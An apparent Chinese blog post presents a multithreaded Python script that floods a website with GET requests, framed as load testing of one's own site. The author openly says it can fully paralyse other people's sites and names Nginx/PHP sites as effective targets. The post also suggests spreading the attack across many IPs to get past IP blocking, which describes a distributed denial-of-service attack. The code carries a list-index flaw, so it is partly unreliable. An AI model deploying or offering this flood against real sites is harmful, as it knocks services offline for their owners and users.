網站壓力測試

      在〈網站壓力測試〉中尚無留言

本篇目的是對自已的網站進行壓力測試,測試網站瞬間能承受多少條連線,而不是在攻擊別人的網站。

當然此法也是攻擊別人網站最簡易的方法,先指定要攻擊的網址,然後隨意列出幾個網站裏的內容網址,再用以下的程式碼即可讓對方網站完全癱瘓。

import requests
from WebThread import WebThread
urls=[
    'https://abc.com/a/',
    'https://abc.com/b/',
    'https://abc.com/d/',
    'https://abc.com/e/',
    'https://abc.com/f/',
      ]
for i in range(50):
    WebThread(i, urls)

然後新增 WebThrad.py 檔如下

import random
import threading
import time
import requests
class WebThread():
    def __init__(self, i, urls):
        self.i=i
        self.urls=urls
        self.t=threading.Thread(target=self.runable, name=f'Thread : {i}')
        self.t.start()
    def runable(self):
        for i in range(100):
            print(threading.current_thread().name, i)
            r=requests.get(self.urls[random.randint(0,len(self.urls)-1)])
            print(threading.current_thread().name, self.urls[i])
            #time.sleep(5)#想仁慈點就加入這行吧

以上對 Nginx/php 網站是蠻有效的攻擊。

Django 防護

以上的攻擊對 Django 網站完全失效,其原因待查,可能 Django 對此種攻擊有應對方式,讀者可測試看看。

何時需要出動網軍

當網站偵測同一時間同一網址進行多次連線時就自動鎖定 ip,那麼上述的攻擊就失效,因為鎖上 ip 就不會讓資料庫伺服器忙碌。

這時就需要出動網軍從不同 ip 進行多路攻擊。

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *